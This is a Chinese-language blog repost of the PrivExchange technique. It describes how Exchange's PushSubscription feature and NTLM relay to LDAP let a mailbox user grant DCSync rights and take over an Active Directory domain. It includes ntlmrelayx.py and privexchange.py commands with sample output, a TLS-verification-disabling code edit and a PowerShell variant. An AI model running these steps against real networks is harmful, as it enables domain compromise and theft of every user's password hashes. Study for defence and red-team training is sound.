Exchange 提权

最新推荐文章于 2024-06-26 09:46:34 发布

「已注销」

最新推荐文章于 2024-06-26 09:46:34 发布

阅读量771

点赞数

CC 4.0 BY-SA版权

分类专栏： Windows

原文链接：https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

Windows 专栏收录该内容

45 篇文章

订阅专栏

本文详细介绍了如何利用Exchange服务器的权限和NTLM中继进行提权攻击。首先，讨论了Exchange在域环境中的高权限地位和漏洞利用的前提。接着，讲述了三种关键缺陷，包括组权限、NTLM中继和Exchange特性。然后，阐述了执行提权攻击的过程，使用了 privexchange.py 和 ntlmrelayx.py 工具，以及技术细节如LDAP中继和签名。最后，提出了在内网环境中利用proxychains和powershell脚本的替代方案。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

微信搜索我吃你家米了关注公众号

在这里插入图片描述

在大多数的域环境中，exchange服务器都是存在的，而且在域内拥有者相当高的权限，如果我们拥有了一个exchange服务器的本地管理员权限，那么这就已经足够我们将自己提升为Domain Admin了。通过对exchange服务器的引流，我们可以达到域内权限提升的目的。这个利用方式的要求极其简单，只需要拥有一个有效的邮箱账户以及密码即可。

不过现在这个漏洞已经被打上补丁了，如果没有打补丁的话，依然还是有提权的可能的

我们需要结合其他三种漏洞（缺陷）来达到我们的目的

exchange 服务器拥有很高的权限（默认情况下）
NTLM可以被中继
exchange服务器有一个特性会使得它会使用自己的计算机账户向攻击者的服务器发起认证请求

第一种漏洞（缺陷）

位于Exchange Windows Permissions组中的成员对域对象拥有WriteDacl权限，这个权限使得改组内的成员可以发起DCSync操作，通过DCSync，我们可以直接从域控制器中导出所有用户的hash

利用工具

第二种缺陷

NTLM中继使用的都是SMB，虽然现在很多机器都开起了smb签名，但除了NTLM，还有其他的的很多协议可以被执行中继攻击。比如LDAP

在这里插入图片描述

不过LDAP的中继有一个条件就是认证过程是用的是http而不是smb

第三种缺陷

现在就差让exchange服务器来访问我们了，通过exchange的PushSubscription特性，我们可以让exchange通过HTTP访问任意的URL。

推送通知服务有一个设置推送间隔的选项，攻击者可以设置这个间隔的长度，通过设置这个值，我们可以保证exchange持续向攻击者发起连接。

执行提权攻击

示意图：
在这里插入图片描述

一共需要用到两个工具：

privexchange.py 和ntlmrelayx.py

privexchange.py有个地方需要修改，就是在建立https链接的地方

context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
context.verify_mode = ssl.CERT_NONE
session = HTTPSConnection(args.host, port, context=context)

使用ntlmrelayx.py开启LDAP relay，目标是域控制器
ntu是我们已经控制的域账户，注意，这个账户一定要有邮箱
ntlmrelayx.py -t ldap://s2016dc.testsegment.local --escalate-user ntu

然后运行privexchange.py脚本

user@localhost:~/exchpoc$ python privexchange.py -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local 
Password: 
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful

过一会儿我们就会看到，我们已经获取到了DCSync权限

在这里插入图片描述

技术细节 ldap 中继以及签名

关键就在于NTLMSSP_NEGOTIATE_SIGN标志位，默认情况下，通过HTTP进行NTLM认证时不会设置该标志位，但是SMB协议默认是会设置该标志位的

在这里插入图片描述

这里我们要说的是为什么使用smb进行ldap认证时，中继攻击会失败，正如上面所说，标志位被set，导致LDAP对后续的消息都要求有签名，这个签名是由被攻击的客户端的密码哈希签的，但是我们在执行中继攻击时是不知道该客户端的密码哈希的，所以攻击就会失败。

有人可能会问了，难道我们就不能把这个标志位删除吗？答案是可以的，但是windows在smb报文中加了一个MIC字段用于验证报文的完整性，只要我们修改了报文中议定丁地方，MIC的校验就会失败，而且每个阶段中的NTLM报文中都有这个字段。因为MIC的生成是和报文以及客户端密码哈希相关的，没有密码哈希就无法生成与保温内容对应的MIC。

有人又会问了，难道我们不能把MIC删除掉吗？答案也是可以，但是微软还有一手，就是客户端在发送给服务端的报文中有一个MsvAvFlags，如果这个标志为被设置，那么就表明该报文中是有MIC字段的，这时服务端就会检查MIC，如果我们把MIC删除了，检查就失败了，后续的链接也就无法进行了，而且如果我们直接删除MsvAvFlags标志位会直接导致认证失败，所以最终的结论就是一旦启用了SMB签名，我们无法通过SMB执行LDAP的中继。

另外

其实在实际的网络环境中，内网好多主机是不出网的，即使我们拥有一台具有root权限的linux，ntlmrelayx也不好配置，需要安装各种依赖，所以我们还有另外一种方法

使用proxychains在我们的攻击机上执行relay，我们只需要做个端口转发将回连时的80转回来就行了

使用powershell实现的powerpriv.ps1

改代码的第100行改成

$soapWebRequest.Credentials = New-Object System.Net.NetworkCredential("username", "password")

http://blog.redxorblue.com/2019/01/red-teaming-made-easy-with-exchange.html